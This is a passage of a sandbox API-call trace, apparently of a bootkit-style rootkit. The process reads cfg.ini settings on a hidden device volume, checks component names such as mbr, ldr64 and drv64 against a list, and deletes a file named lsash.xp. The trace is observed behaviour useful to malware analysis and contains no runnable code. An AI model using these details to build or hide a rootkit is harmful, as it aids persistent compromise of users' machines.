MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003488000 [0118.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.013] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.013] IdePortDispatch () returned 0x103 [0118.013] KeWaitForMutexObject () returned 0x0 [0118.013] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.013] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.013] IdePortDispatch () returned 0x103 [0118.014] KeWaitForMutexObject () returned 0x0 [0118.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.014] KeLeaveCriticalRegion () [0118.014] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.014] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.014] KeEnterCriticalRegion () [0118.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.014] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.014] KeLeaveCriticalRegion () [0118.014] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.015] KeEnterCriticalRegion () [0118.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.015] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.015] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cf840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.015] KeLeaveCriticalRegion () [0118.015] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.015] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.015] KeEnterCriticalRegion () [0118.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.015] ExFreePoolWithTag (P=0xfffffa8003aa6060, Tag=0x0) [0118.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.015] KeLeaveCriticalRegion () [0118.015] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.015] ReleaseMutex (hMutex=0xf0) returned 1 [0118.015] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.015] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.015] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.015] KeEnterCriticalRegion () [0118.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.015] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.015] IdePortDispatch () returned 0x103 [0118.016] KeWaitForMutexObject () returned 0x0 [0118.016] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.016] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.016] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.016] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.016] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.016] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003af8480 [0118.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.016] KeLeaveCriticalRegion () [0118.016] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.016] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.016] KeEnterCriticalRegion () [0118.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.016] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.016] KeLeaveCriticalRegion () [0118.016] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.016] KeEnterCriticalRegion () [0118.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.016] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.016] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.016] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.016] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.016] IdePortDispatch () returned 0x103 [0118.016] KeWaitForMutexObject () returned 0x0 [0118.016] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.017] KeLeaveCriticalRegion () [0118.017] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.017] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.017] KeEnterCriticalRegion () [0118.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.017] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003489000 [0118.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.017] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.017] IdePortDispatch () returned 0x103 [0118.017] KeWaitForMutexObject () returned 0x0 [0118.017] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.017] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.017] IdePortDispatch () returned 0x103 [0118.018] KeWaitForMutexObject () returned 0x0 [0118.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.018] KeLeaveCriticalRegion () [0118.018] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.018] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.018] KeEnterCriticalRegion () [0118.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.018] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.018] KeLeaveCriticalRegion () [0118.018] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.018] KeEnterCriticalRegion () [0118.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.019] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.019] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.019] KeLeaveCriticalRegion () [0118.019] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.019] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.019] KeEnterCriticalRegion () [0118.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.019] ExFreePoolWithTag (P=0xfffffa8003af8480, Tag=0x0) [0118.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.019] KeLeaveCriticalRegion () [0118.019] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.019] ReleaseMutex (hMutex=0xf0) returned 1 [0118.019] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.019] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.019] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.019] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.019] KeEnterCriticalRegion () [0118.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.019] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.019] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.019] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.019] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.019] IdePortDispatch () returned 0x103 [0118.020] KeWaitForMutexObject () returned 0x0 [0118.020] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.020] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.020] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.020] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.020] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.020] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.020] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.020] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.020] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.020] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.020] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.020] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.020] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.020] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.020] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.020] KeLeaveCriticalRegion () [0118.020] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.020] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.020] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.020] KeEnterCriticalRegion () [0118.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.020] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.020] IdePortDispatch () returned 0x103 [0118.021] KeWaitForMutexObject () returned 0x0 [0118.021] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.021] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.021] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.021] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.021] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.021] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.021] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.021] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.021] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.021] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.021] KeLeaveCriticalRegion () [0118.021] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.021] ReleaseMutex (hMutex=0x100) returned 1 [0118.021] Sleep (dwMilliseconds=0x2bf20) [0118.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x698bfb10, dwHighDateTime=0x1d24fa4)) [0118.030] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.030] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.030] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.030] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.030] KeEnterCriticalRegion () [0118.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.030] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.030] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.030] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.030] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.030] IdePortDispatch () returned 0x103 [0118.031] KeWaitForMutexObject () returned 0x0 [0118.031] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.031] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.031] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.031] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.031] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.031] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003af8480 [0118.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.031] KeLeaveCriticalRegion () [0118.031] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.031] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.031] KeEnterCriticalRegion () [0118.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.031] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.031] KeLeaveCriticalRegion () [0118.031] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.031] KeEnterCriticalRegion () [0118.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.031] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.031] IdePortDispatch () returned 0x103 [0118.031] KeWaitForMutexObject () returned 0x0 [0118.032] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.032] KeLeaveCriticalRegion () [0118.032] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.032] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.032] KeEnterCriticalRegion () [0118.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.032] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348c000 [0118.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.032] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.032] IdePortDispatch () returned 0x103 [0118.032] KeWaitForMutexObject () returned 0x0 [0118.032] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.032] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.032] IdePortDispatch () returned 0x103 [0118.033] KeWaitForMutexObject () returned 0x0 [0118.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.033] KeLeaveCriticalRegion () [0118.033] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.033] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.033] KeEnterCriticalRegion () [0118.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.033] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.033] KeLeaveCriticalRegion () [0118.033] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.034] KeEnterCriticalRegion () [0118.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.034] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.034] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cf840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.034] KeLeaveCriticalRegion () [0118.034] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.034] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.034] KeEnterCriticalRegion () [0118.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.034] ExFreePoolWithTag (P=0xfffffa8003af8480, Tag=0x0) [0118.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.034] KeLeaveCriticalRegion () [0118.034] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.034] ReleaseMutex (hMutex=0xf0) returned 1 [0118.034] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.034] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.034] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.034] KeEnterCriticalRegion () [0118.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 